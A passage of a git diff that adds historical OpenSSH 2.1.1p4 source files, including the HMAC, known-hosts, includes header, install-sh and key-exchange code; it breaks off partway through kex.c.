PUT_32BIT(cp, value) do { \ + (cp)[0] = (value) >> 24; \ + (cp)[1] = (value) >> 16; \ + (cp)[2] = (value) >> 8; \ + (cp)[3] = (value); } while (0) + +#define PUT_16BIT(cp, value) do { \ + (cp)[0] = (value) >> 8; \ + (cp)[1] = (value); } while (0) + +/*------------ macros for storing/extracting lsb first words -------------*/ + +#define GET_32BIT_LSB_FIRST(cp) \ + (((unsigned long)(unsigned char)(cp)[0]) | \ + ((unsigned long)(unsigned char)(cp)[1] << 8) | \ + ((unsigned long)(unsigned char)(cp)[2] << 16) | \ + ((unsigned long)(unsigned char)(cp)[3] << 24)) + +#define GET_16BIT_LSB_FIRST(cp) \ + (((unsigned long)(unsigned char)(cp)[0]) | \ + ((unsigned long)(unsigned char)(cp)[1] << 8)) + +#define PUT_32BIT_LSB_FIRST(cp, value) do { \ + (cp)[0] = (value); \ + (cp)[1] = (value) >> 8; \ + (cp)[2] = (value) >> 16; \ + (cp)[3] = (value) >> 24; } while (0) + +#define PUT_16BIT_LSB_FIRST(cp, value) do { \ + (cp)[0] = (value); \ + (cp)[1] = (value) >> 8; } while (0) + +#endif /* GETPUT_H */ diff --git a/other/openssh-2.1.1p4/hmac.c b/other/openssh-2.1.1p4/hmac.c new file mode 100644 index 0000000..27590ec --- /dev/null +++ b/other/openssh-2.1.1p4/hmac.c @@ -0,0 +1,59 @@ +/* + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Markus Friedl. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: hmac.c,v 1.3 2000/06/20 01:39:41 markus Exp $"); + +#include "xmalloc.h" +#include "ssh.h" +#include "getput.h" + +#include + +unsigned char * +hmac( + EVP_MD *evp_md, + unsigned int seqno, + unsigned char *data, int datalen, + unsigned char *key, int keylen) +{ + HMAC_CTX c; + static unsigned char m[EVP_MAX_MD_SIZE]; + unsigned char b[4]; + + if (key == NULL) + fatal("hmac: no key"); + HMAC_Init(&c, key, keylen, evp_md); + PUT_32BIT(b, seqno); + HMAC_Update(&c, b, sizeof b); + HMAC_Update(&c, data, datalen); + HMAC_Final(&c, m, NULL); + HMAC_cleanup(&c); + return(m); +} diff --git a/other/openssh-2.1.1p4/hmac.h b/other/openssh-2.1.1p4/hmac.h new file mode 100644 index 0000000..fb68029 --- /dev/null +++ b/other/openssh-2.1.1p4/hmac.h @@ -0,0 +1,11 @@ +#ifndef HMAC_H +#define HMAC_H + +unsigned char * +hmac( + EVP_MD *evp_md, + unsigned int seqno, + unsigned char *data, int datalen, + unsigned char *key, int len); + +#endif diff --git a/other/openssh-2.1.1p4/hostfile.c b/other/openssh-2.1.1p4/hostfile.c new file mode 100644 index 0000000..f58e1d6 --- /dev/null +++ b/other/openssh-2.1.1p4/hostfile.c @@ -0,0 +1,194 @@ +/* + * + * hostfile.c + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Thu Jun 29 07:10:56 1995 ylo + * + * Functions for manipulating the known hosts files. + * + */ + +#include "includes.h" +RCSID("$OpenBSD: hostfile.c,v 1.19 2000/06/06 19:32:13 markus Exp $"); + +#include "packet.h" +#include "match.h" +#include "ssh.h" +#include +#include +#include "key.h" +#include "hostfile.h" + +/* + * Parses an RSA (number of bits, e, n) or DSA key from a string. Moves the + * pointer over the key. Skips any whitespace at the beginning and at end. + */ + +int +hostfile_read_key(char **cpp, unsigned int *bitsp, Key *ret) +{ + unsigned int bits; + char *cp; + + /* Skip leading whitespace. */ + for (cp = *cpp; *cp == ' ' || *cp == '\t'; cp++) + ; + + bits = key_read(ret, &cp); + if (bits == 0) + return 0; + + /* Skip trailing whitespace. */ + for (; *cp == ' ' || *cp == '\t'; cp++) + ; + + /* Return results. */ + *cpp = cp; + *bitsp = bits; + return 1; +} + +int +auth_rsa_read_key(char **cpp, unsigned int *bitsp, BIGNUM * e, BIGNUM * n) +{ + Key *k = key_new(KEY_RSA); + int ret = hostfile_read_key(cpp, bitsp, k); + BN_copy(e, k->rsa->e); + BN_copy(n, k->rsa->n); + key_free(k); + return ret; +} + +int +hostfile_check_key(int bits, Key *key, const char *host, const char *filename, int linenum) +{ + if (key == NULL || key->type != KEY_RSA || key->rsa == NULL) + return 1; + if (bits != BN_num_bits(key->rsa->n)) { + log("Warning: %s, line %d: keysize mismatch for host %s: " + "actual %d vs. announced %d.", + filename, linenum, host, BN_num_bits(key->rsa->n), bits); + log("Warning: replace %d with %d in %s, line %d.", + bits, BN_num_bits(key->rsa->n), filename, linenum); + } + return 1; +} + +/* + * Checks whether the given host (which must be in all lowercase) is already + * in the list of our known hosts. Returns HOST_OK if the host is known and + * has the specified key, HOST_NEW if the host is not known, and HOST_CHANGED + * if the host is known but used to have a different host key. + */ + +HostStatus +check_host_in_hostfile(const char *filename, const char *host, Key *key, Key *found) +{ + FILE *f; + char line[8192]; + int linenum = 0; + unsigned int kbits, hostlen; + char *cp, *cp2; + HostStatus end_return; + + if (key == NULL) + fatal("no key to look up"); + /* Open the file containing the list of known hosts. */ + f = fopen(filename, "r"); + if (!f) + return HOST_NEW; + + /* Cache the length of the host name. */ + hostlen = strlen(host); + + /* + * Return value when the loop terminates. This is set to + * HOST_CHANGED if we have seen a different key for the host and have + * not found the proper one. + */ + end_return = HOST_NEW; + + /* Go trough the file. */ + while (fgets(line, sizeof(line), f)) { + cp = line; + linenum++; + + /* Skip any leading whitespace, comments and empty lines. */ + for (; *cp == ' ' || *cp == '\t'; cp++) + ; + if (!*cp || *cp == '#' || *cp == '\n') + continue; + + /* Find the end of the host name portion. */ + for (cp2 = cp; *cp2 && *cp2 != ' ' && *cp2 != '\t'; cp2++) + ; + + /* Check if the host name matches. */ + if (match_hostname(host, cp, (unsigned int) (cp2 - cp)) != 1) + continue; + + /* Got a match. Skip host name. */ + cp = cp2; + + /* + * Extract the key from the line. This will skip any leading + * whitespace. Ignore badly formatted lines. + */ + if (!hostfile_read_key(&cp, &kbits, found)) + continue; + if (!hostfile_check_key(kbits, found, host, filename, linenum)) + continue; + + /* Check if the current key is the same as the given key. */ + if (key_equal(key, found)) { + /* Ok, they match. */ + fclose(f); + return HOST_OK; + } + /* + * They do not match. We will continue to go through the + * file; however, we note that we will not return that it is + * new. + */ + end_return = HOST_CHANGED; + } + /* Clear variables and close the file. */ + fclose(f); + + /* + * Return either HOST_NEW or HOST_CHANGED, depending on whether we + * saw a different key for the host. + */ + return end_return; +} + +/* + * Appends an entry to the host file. Returns false if the entry could not + * be appended. + */ + +int +add_host_to_hostfile(const char *filename, const char *host, Key *key) +{ + FILE *f; + int success = 0; + if (key == NULL) + return 1; /* XXX ? */ + f = fopen(filename, "a"); + if (!f) + return 0; + fprintf(f, "%s ", host); + if (key_write(key, f)) { + success = 1; + } else { + error("add_host_to_hostfile: saving key in %s failed", filename); + } + fprintf(f, "\n"); + fclose(f); + return success; +} diff --git a/other/openssh-2.1.1p4/hostfile.h b/other/openssh-2.1.1p4/hostfile.h new file mode 100644 index 0000000..c9bdd7f --- /dev/null +++ b/other/openssh-2.1.1p4/hostfile.h @@ -0,0 +1,22 @@ +#ifndef HOSTFILE_H +#define HOSTFILE_H + +/* + * Checks whether the given host is already in the list of our known hosts. + * Returns HOST_OK if the host is known and has the specified key, HOST_NEW + * if the host is not known, and HOST_CHANGED if the host is known but used + * to have a different host key. The host must be in all lowercase. + */ +typedef enum { + HOST_OK, HOST_NEW, HOST_CHANGED +} HostStatus; +HostStatus +check_host_in_hostfile(const char *filename, const char *host, Key *key, Key *found); + +/* + * Appends an entry to the host file. Returns false if the entry could not + * be appended. + */ +int add_host_to_hostfile(const char *filename, const char *host, Key *key); + +#endif diff --git a/other/openssh-2.1.1p4/includes.h b/other/openssh-2.1.1p4/includes.h new file mode 100644 index 0000000..2f3a56e --- /dev/null +++ b/other/openssh-2.1.1p4/includes.h @@ -0,0 +1,111 @@ +/* + * + * includes.h + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Thu Mar 23 16:29:37 1995 ylo + * + * This file includes most of the needed system headers. + * + */ + +#ifndef INCLUDES_H +#define INCLUDES_H + +#define RCSID(msg) \ +static /**/const char *const rcsid[] = { (char *)rcsid, "\100(#)" msg } + +#include "config.h" + +#include "next-posix.h" + +#include +#include +#include +#include +#include +#include + +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifdef HAVE_BSTRING_H +# include +#endif +#ifdef HAVE_NETGROUP_H +# include +#endif +#if defined(HAVE_NETDB_H) && !defined(HAVE_NEXT) +/* Next includes this as part of another header */ +# include +#endif +#ifdef HAVE_ENDIAN_H +# include +#endif +#ifdef HAVE_SYS_SELECT_H +# include +#endif +#ifdef HAVE_SYS_TIME_H +# include +#endif +#ifdef HAVE_SYS_BSDTTY_H +# include +#endif +#ifdef USE_PAM +# include +#endif +#ifdef HAVE_POLL_H +# include +#else +# ifdef HAVE_SYS_POLL_H +# include +# endif +#endif +#ifdef HAVE_SYS_SYSMACROS_H +# include +#endif + +#include "version.h" + +/* OpenBSD function replacements */ +#include "openbsd-compat.h" + +/* Entropy collection */ +#include "entropy.h" + +/* Define this to be the path of the xauth program. */ +#ifndef XAUTH_PATH +#define XAUTH_PATH "/usr/X11R6/bin/xauth" +#endif /* XAUTH_PATH */ + +/* Define this to be the path of the rsh program. */ +#ifndef _PATH_RSH +#define _PATH_RSH "/usr/bin/rsh" +#endif /* _PATH_RSH */ + +/* + * Define this to use pipes instead of socketpairs for communicating with the + * client program. Socketpairs do not seem to work on all systems. + */ +/* #define USE_PIPES 1 */ + +#endif /* INCLUDES_H */ diff --git a/other/openssh-2.1.1p4/install-sh b/other/openssh-2.1.1p4/install-sh new file mode 100755 index 0000000..e9de238 --- /dev/null +++ b/other/openssh-2.1.1p4/install-sh @@ -0,0 +1,251 @@ +#!/bin/sh +# +# install - install a program, script, or datafile +# This comes from X11R5 (mit/util/scripts/install.sh). +# +# Copyright 1991 by the Massachusetts Institute of Technology +# +# Permission to use, copy, modify, distribute, and sell this software and its +# documentation for any purpose is hereby granted without fee, provided that +# the above copyright notice appear in all copies and that both that +# copyright notice and this permission notice appear in supporting +# documentation, and that the name of M.I.T. not be used in advertising or +# publicity pertaining to distribution of the software without specific, +# written prior permission. M.I.T. makes no representations about the +# suitability of this software for any purpose. It is provided "as is" +# without express or implied warranty. +# +# Calling this script install-sh is preferred over install.sh, to prevent +# `make' implicit rules from creating a file called install from it +# when there is no Makefile. +# +# This script is compatible with the BSD install script, but was written +# from scratch. It can only install one file at a time, a restriction +# shared with many OS's install programs. + + +# set DOITPROG to echo to test this script + +# Don't use :- since 4.3BSD and earlier shells don't like it. +doit="${DOITPROG-}" + + +# put in absolute paths if you don't have them in your path; or use env. vars. + +mvprog="${MVPROG-mv}" +cpprog="${CPPROG-cp}" +chmodprog="${CHMODPROG-chmod}" +chownprog="${CHOWNPROG-chown}" +chgrpprog="${CHGRPPROG-chgrp}" +stripprog="${STRIPPROG-strip}" +rmprog="${RMPROG-rm}" +mkdirprog="${MKDIRPROG-mkdir}" + +transformbasename="" +transform_arg="" +instcmd="$mvprog" +chmodcmd="$chmodprog 0755" +chowncmd="" +chgrpcmd="" +stripcmd="" +rmcmd="$rmprog -f" +mvcmd="$mvprog" +src="" +dst="" +dir_arg="" + +while [ x"$1" != x ]; do + case $1 in + -c) instcmd="$cpprog" + shift + continue;; + + -d) dir_arg=true + shift + continue;; + + -m) chmodcmd="$chmodprog $2" + shift + shift + continue;; + + -o) chowncmd="$chownprog $2" + shift + shift + continue;; + + -g) chgrpcmd="$chgrpprog $2" + shift + shift + continue;; + + -s) stripcmd="$stripprog" + shift + continue;; + + -t=*) transformarg=`echo $1 | sed 's/-t=//'` + shift + continue;; + + -b=*) transformbasename=`echo $1 | sed 's/-b=//'` + shift + continue;; + + *) if [ x"$src" = x ] + then + src=$1 + else + # this colon is to work around a 386BSD /bin/sh bug + : + dst=$1 + fi + shift + continue;; + esac +done + +if [ x"$src" = x ] +then + echo "install: no input file specified" + exit 1 +else + true +fi + +if [ x"$dir_arg" != x ]; then + dst=$src + src="" + + if [ -d $dst ]; then + instcmd=: + chmodcmd="" + else + instcmd=mkdir + fi +else + +# Waiting for this to be detected by the "$instcmd $src $dsttmp" command +# might cause directories to be created, which would be especially bad +# if $src (and thus $dsttmp) contains '*'. + + if [ -f $src -o -d $src ] + then + true + else + echo "install: $src does not exist" + exit 1 + fi + + if [ x"$dst" = x ] + then + echo "install: no destination specified" + exit 1 + else + true + fi + +# If destination is a directory, append the input filename; if your system +# does not like double slashes in filenames, you may need to add some logic + + if [ -d $dst ] + then + dst="$dst"/`basename $src` + else + true + fi +fi + +## this sed command emulates the dirname command +dstdir=`echo $dst | sed -e 's,[^/]*$,,;s,/$,,;s,^$,.,'` + +# Make sure that the destination directory exists. +# this part is taken from Noah Friedman's mkinstalldirs script + +# Skip lots of stat calls in the usual case. +if [ ! -d "$dstdir" ]; then +defaultIFS=' +' +IFS="${IFS-${defaultIFS}}" + +oIFS="${IFS}" +# Some sh's can't handle IFS=/ for some reason. +IFS='%' +set - `echo ${dstdir} | sed -e 's@/@%@g' -e 's@^%@/@'` +IFS="${oIFS}" + +pathcomp='' + +while [ $# -ne 0 ] ; do + pathcomp="${pathcomp}${1}" + shift + + if [ ! -d "${pathcomp}" ] ; + then + $mkdirprog "${pathcomp}" + else + true + fi + + pathcomp="${pathcomp}/" +done +fi + +if [ x"$dir_arg" != x ] +then + $doit $instcmd $dst && + + if [ x"$chowncmd" != x ]; then $doit $chowncmd $dst; else true ; fi && + if [ x"$chgrpcmd" != x ]; then $doit $chgrpcmd $dst; else true ; fi && + if [ x"$stripcmd" != x ]; then $doit $stripcmd $dst; else true ; fi && + if [ x"$chmodcmd" != x ]; then $doit $chmodcmd $dst; else true ; fi +else + +# If we're going to rename the final executable, determine the name now. + + if [ x"$transformarg" = x ] + then + dstfile=`basename $dst` + else + dstfile=`basename $dst $transformbasename | + sed $transformarg`$transformbasename + fi + +# don't allow the sed command to completely eliminate the filename + + if [ x"$dstfile" = x ] + then + dstfile=`basename $dst` + else + true + fi + +# Make a temp file name in the proper directory. + + dsttmp=$dstdir/#inst.$$# + +# Move or copy the file name to the temp name + + $doit $instcmd $src $dsttmp && + + trap "rm -f ${dsttmp}" 0 && + +# and set any options; do chmod last to preserve setuid bits + +# If any of these fail, we abort the whole thing. If we want to +# ignore errors from any of these, just make sure not to ignore +# errors from the above "$doit $instcmd $src $dsttmp" command. + + if [ x"$chowncmd" != x ]; then $doit $chowncmd $dsttmp; else true;fi && + if [ x"$chgrpcmd" != x ]; then $doit $chgrpcmd $dsttmp; else true;fi && + if [ x"$stripcmd" != x ]; then $doit $stripcmd $dsttmp; else true;fi && + if [ x"$chmodcmd" != x ]; then $doit $chmodcmd $dsttmp; else true;fi && + +# Now rename the file to the real destination. + + $doit $rmcmd -f $dstdir/$dstfile && + $doit $mvcmd $dsttmp $dstdir/$dstfile + +fi && + + +exit 0 diff --git a/other/openssh-2.1.1p4/kex.c b/other/openssh-2.1.1p4/kex.c new file mode 100644 index 0000000..b488090 --- /dev/null +++ b/other/openssh-2.1.1p4/kex.c @@ -0,0 +1,470 @@ +/* + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Markus Friedl. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: kex.c,v 1.9 2000/07/10 16:30:25 ho Exp $"); + +#include "ssh.h" +#include "ssh2.h" +#include "xmalloc.h" +#include "buffer.h" +#include "bufaux.h" +#include "packet.h" +#include "cipher.h" +#include "compat.h" + +#include +#include + +#include +#include +#include +#include +#include + +#include "kex.h" + +#define KEX_COOKIE_LEN 16 + +Buffer * +kex_init(char *myproposal[PROPOSAL_MAX]) +{ + int first_kex_packet_follows = 0; + unsigned char cookie[KEX_COOKIE_LEN]; + u_int32_t rand = 0; + int i; + Buffer *ki = xmalloc(sizeof(*ki)); + for (i = 0; i < KEX_COOKIE_LEN; i++) { + if (i % 4 == 0) + rand = arc4random(); + cookie[i] = rand & 0xff; + rand >>= 8; + } + buffer_init(ki); + buffer_append(ki, (char *)cookie, sizeof cookie); + for (i = 0; i < PROPOSAL_MAX; i++) + buffer_put_cstring(ki, myproposal[i]); + buffer_put_char(ki, first_kex_packet_follows); + buffer_put_int(ki, 0); /* uint32 reserved */ + return ki; +} + +/* send kexinit, parse and save reply */ +void +kex_exchange_kexinit( + Buffer *my_kexinit, Buffer *peer_kexint, + char *peer_proposal[PROPOSAL_MAX]) +{ + int i; + char *ptr; + int plen; + + debug("send KEXINIT"); + packet_start(SSH2_MSG_KEXINIT); + packet_put_raw(buffer_ptr(my_kexinit), buffer_len(my_kexinit)); + packet_send(); + packet_write_wait(); + debug("done"); + + /* + * read and save raw KEXINIT payload in buffer. this is used during + * computation of the session_id and the session keys. + */ + debug("wait KEXINIT"); + packet_read_expect(&plen, SSH2_MSG_KEXINIT); + ptr = packet_get_raw(&plen); + buffer_append(peer_kexint, ptr, plen); + + /* parse packet and save algorithm proposal */ + /* skip cookie */ + for (i = 0; i < KEX_COOKIE_LEN; i++) + packet_get_char(); + /* extract kex init proposal strings */ + for (i = 0; i < PROPOSAL_MAX; i++) { + peer_proposal[i] = packet_get_string(NULL); + debug("got kexinit: %s", peer_proposal[i]); + } + /* first kex follow / reserved */ + i = packet_get_char(); + debug("first kex follow: %d ", i); + i = packet_get_int(); + debug("reserved: %d ", i); + packet_done(); + debug("done"); +} + +/* diffie-hellman-group1-sha1 */ + +int +dh_pub_is_valid(DH *dh, BIGNUM *dh_pub) +{ + int i; + int n = BN_num_bits(dh_pub); + int bits_set = 0; + + /* we only accept g==2 */ + if (!BN_is_word(dh->g, 2)) { + log("invalid DH base != 2"); + return 0; + } + if (dh_pub->neg) { + log("invalid public DH value: negativ"); + return 0; + } + for (i = 0; i <= n; i++) + if (BN_is_bit_set(dh_pub, i)) + bits_set++; + debug("bits set: %d/%d", bits_set, BN_num_bits(dh->p)); + + /* if g==2 and bits_set==1 then computing log_g(dh_pub) is trivial */ + if (bits_set > 1 && (BN_cmp(dh_pub, dh->p) == -1)) + return 1; + log("invalid public DH value (%d/%d)", bits_set, BN_num_bits(dh->p)); + return 0; +} + +DH * +dh_new_group1() +{ + static char *group1 = + "FFFFFFFF" "FFFFFFFF" "C90FDAA2" "2168C234" "C4C6628B" "80DC1CD1" + "29024E08" "8A67CC74" "020BBEA6" "3B139B22" "514A0879" "8E3404DD" + "EF9519B3" "CD3A431B" "302B0A6D" "F25F1437" "4FE1356D" "6D51C245" + "E485B576" "625E7EC6" "F44C42E9" "A637ED6B" "0BFF5CB6" "F406B7ED" + "EE386BFB" "5A899FA5" "AE9F2411" "7C4B1FE6" "49286651" "ECE65381" + "FFFFFFFF" "FFFFFFFF"; + DH *dh; + int ret, tries = 0; + dh = DH_new(); + if(dh == NULL) + fatal("DH_new"); + ret = BN_hex2bn(&dh->p, group1); + if(ret<0) + fatal("BN_hex2bn"); + dh->g = BN_new(); + if(dh->g == NULL) + fatal("DH_new g"); + BN_set_word(dh->g, 2); + do { + if (DH_generate_key(dh) == 0) + fatal("DH_generate_key"); + if (tries++ > 10) + fatal("dh_new_group1: too many bad keys: giving up"); + } while (!dh_pub_is_valid(dh, dh->pub_key)); + return dh; +} + +void +dump_digest(unsigned char *digest, int len) +{ + int i; + for (i = 0; i< len; i++){ + fprintf(stderr, "%02x", digest[i]); + if(i%2!=0) + fprintf(stderr, " "); + } + fprintf(stderr, "\n"); +} + +unsigned char * +kex_hash( + char *client_version_string, + char *server_version_string, + char *ckexinit, int ckexinitlen, + char *skexinit, int skexinitlen, + char *serverhostkeyblob, int sbloblen, + BIGNUM *client_dh_pub, + BIGNUM *server_dh_pub, + BIGNUM *shared_secret) +{ + Buffer b; + static unsigned char digest[EVP_MAX_MD_SIZE]; + EVP_MD *evp_md = EVP_sha1(); + EVP_MD_CTX md; + + buffer_init(&b); + buffer_put_string(&b, client_version_string, strlen(client_version_string)); + buffer_put_string(&b, server_version_string, strlen(server_version_string)); + + /* kexinit messages: fake header: len+SSH2_MSG_KEXINIT */ + buffer_put_int(&b, ckexinitlen+1); + buffer_put_char(&b, SSH2_MSG_KEXINIT); + buffer_append(&b, ckexinit, ckexinitlen); + buffer_put_int(&b, skexinitlen+1); + buffer_put_char(&b, SSH2_MSG_KEXINIT); + buffer_append(&b, skexinit, skexinitlen); + + buffer_put_string(&b, serverhostkeyblob, sbloblen); + buffer_put_bignum2(&b, client_dh_pub); + buffer_put_bignum2(&b, server_dh_pub); + buffer_put_bignum2(&b, shared_secret); + +#ifdef DEBUG_KEX + buffer_dump(&b); +#endif + + EVP_DigestInit(&md, evp_md); + EVP_DigestUpdate(&md, buffer_ptr(&b), buffer_len(&b)); + EVP_DigestFinal(&md, digest, NULL); + + buffer_free(&b); + +#ifdef DEBUG_KEX + dump_digest(digest, evp_md->md_size); +#endif + return digest; +} + +unsigned char * +derive_key(int id, int need, char unsigned *hash, BIGNUM *shared_secret) +{ + Buffer b; + EVP_MD *evp_md = EVP_sha1(); + EVP_MD_CTX md; + char c = id; + int have; + int mdsz = evp_md->md_size; + unsigned char *digest = xmalloc(((need+mdsz-1)/mdsz)*mdsz); + + buffer_init(&b); + buffer_put_bignum2(&b, shared_secret); + + EVP_DigestInit(&md, evp_md); + EVP_DigestUpdate(&md, buffer_ptr(&b), buffer_len(&b)); /* shared_secret K */ + EVP_DigestUpdate(&md, hash, mdsz); /* transport-06 */ + EVP_DigestUpdate(&md, &c, 1); /* key id */ + EVP_DigestUpdate(&md, hash, mdsz); /* session id */ + EVP_DigestFinal(&md, digest, NULL); + + /* expand */ + for (have = mdsz; need > have; have += mdsz) { + EVP_DigestInit(&md, evp_md); + EVP_DigestUpdate(&md, buffer_ptr(&b), buffer_len(&b)); + EVP_DigestUpdate(&md, hash, mdsz); + EVP_DigestUpdate(&md, digest, have); + EVP_DigestFinal(&md, digest + have, NULL); + } + buffer_free(&b); +#ifdef DEBUG_KEX + fprintf(stderr, "Digest '%c'== ", c); + dump_digest(digest, need); +#endif + return digest; +} + +#define NKEYS 6 + +#define MAX_PROP 20 +#define SEP "," + +char * +get_match(char *client, char *server) +{ + char *sproposals[MAX_PROP]; + char *c, *s, *p, *ret, *cp, *sp; + int i, j, nproposals; + + c = cp = xstrdup(client); + s = sp = xstrdup(server); + + for ((p = strsep(&sp, SEP)), i=0; p && *p != '\0'; + (p = strsep(&sp, SEP)), i++) { + if (i < MAX_PROP) + sproposals[i] = p; + else + break; + } + nproposals = i; + + for ((p = strsep(&cp, SEP)), i=0; p && *p != '\0'; + (p = strsep(&cp, SEP)), i++) { + for (j = 0; j < nproposals; j++) { + if (strcmp(p, sproposals[j]) == 0) { + ret = xstrdup(p); + xfree(c); + xfree(s); + return ret; + } + } + } + xfree(c); + xfree(s); + return NULL; +} +void +choose_enc(Enc *enc, char *client, char *server) +{ + char *name = get_match(client, server); + if (name == NULL) + fatal("no matching cipher found: client %s server %s", client, server); + enc->type = cipher_number(name); + + switch (enc->type) { + case SSH_CIPHER_3DES_CBC: + enc->key_len = 24; + enc->iv_len = 8; + enc->block_size = 8; + break; + case SSH_CIPHER_BLOWFISH_CBC: + case SSH_CIPHER_CAST128_CBC: + enc->key_len = 16; + enc->iv_len = 8; + enc->block_size = 8; + break; + case SSH_CIPHER_ARCFOUR: + enc->key_len = 16; + enc->iv_len = 0; + enc->block_size = 8; + break; + default: + fatal("unsupported cipher %s", name); + } + enc->name = name; + enc->enabled = 0; + enc->iv = NULL; + enc->key = NULL; +} +void +choose_mac(Mac *mac, char *client, char *server) +{ + char *name = get_match(client, server); + if (name == NULL) + fatal("no matching mac found: client %s server %s", client, server); + if (strcmp(name, "hmac-md5") == 0) { + mac->md = EVP_md5(); + } else if (strcmp(name, "hmac-sha1") == 0) { + mac->md = EVP_sha1(); + } else if (strcmp(name, "hmac-ripemd160@openssh.com") == 0) { + mac->md = EVP_ripemd160(); + } else { + fatal("unsupported mac %s", name); + } + mac->name = name; + mac->mac_len = mac->md->md_size; + mac->key_len = (datafellows & SSH_BUG_HMAC) ? 16 : mac->mac_len; + mac->key = NULL; + mac->enabled = 0; +} +void +choose_comp(Comp *comp, char *client, char *server) +{ + char *name = get_match(client, server); + if (name == NULL) + fatal("no matching comp found: client %s server %s", client, server); + if (strcmp(name, "zlib") == 0) { + comp->type = 1; + } else if (strcmp(name, "none") == 0) { + comp->type = 0; + } else { + fatal("unsupported comp %s", name); + } + comp->name = name; +} +void +choose_kex(Kex *k, char *client, char *server) +{ + k->name = get_match(client, server); + if (k->name == NULL) + fatal("no kex alg"); + if (strcmp(k->name, KEX_DH1) != 0) + fatal("bad kex alg %s", k->name); +} +void +choose_hostkeyalg(Kex *k, char *client, char *server) +{ + k->hostkeyalg = get_match(client, server); + if (k->hostkeyalg == NULL) + fatal("no hostkey alg"); + if (strcmp(k->hostkeyalg, KEX_DSS) != 0) + fatal("bad hostkey alg %s", k->hostkeyalg); +} + +Kex * +kex_choose_conf(char *cprop[PROPOSAL_MAX], char *sprop[PROPOSAL_MAX], int server) +{ + int mode; + int ctos; /* direction: if true client-to-server */ + int need; + Kex *k; + + k = xmalloc(sizeof(*k)); + memset(k, 0, sizeof(*k)); + k->server = server; + + for (mode = 0; mode < MODE_MAX; mode++) { + int nenc, nmac, ncomp; + ctos = (!k->server && mode == MODE_OUT) || (k->server && mode == MODE_IN); + nenc = ctos ? PROPOSAL_ENC_ALGS_CTOS : PROPOSAL_ENC_ALGS_STOC; + nmac = ctos ? PROPOSAL_MAC_ALGS_CTOS : PROPOSAL_MAC_ALGS_STOC; + ncomp = ctos ? PROPOSAL_COMP_ALGS_CTOS : PROPOSAL_COMP_ALGS_STOC; + choose_enc (&k->enc [mode], cprop[nenc], sprop[nenc]); + choose_mac (&k->mac [mode], cprop[nmac], sprop[nmac]); + choose_comp(&k->comp[mode], cprop[ncomp], sprop[ncomp]); + debug("kex: %s %s %s %s", + ctos ? "client->server" : "server->client", + k->enc[mode].name, + k->mac[mode].name, + k->comp[mode].name); + } + choose_kex(k, cprop[PROPOSAL_KEX_ALGS], sprop[PROPOSAL_KEX_ALGS]); + choose_hostkeyalg(k, cprop[PROPOSAL_SERVER_HOST_KEY_ALGS], + sprop[PROPOSAL_SERVER_HOST_KEY_ALGS]); + need = 0; + for (mode = 0; mode < MODE_MAX; mode++) { + if (need < k->enc[mode].key_len) + need = k->enc[mode].key_len; + if (need < k->enc[mode].iv_len) + need = k->enc[mode].iv_len; + if (need < k->mac[mode].key_len) + need = k->mac[mode].key_len; + } + /* XXX need runden? */ + k->we_need = need; + return k; +} + +int +kex_derive_keys(Kex *k, unsigned char *hash, BIGNUM *shared_secret) +{ + int i; + int mode; + int 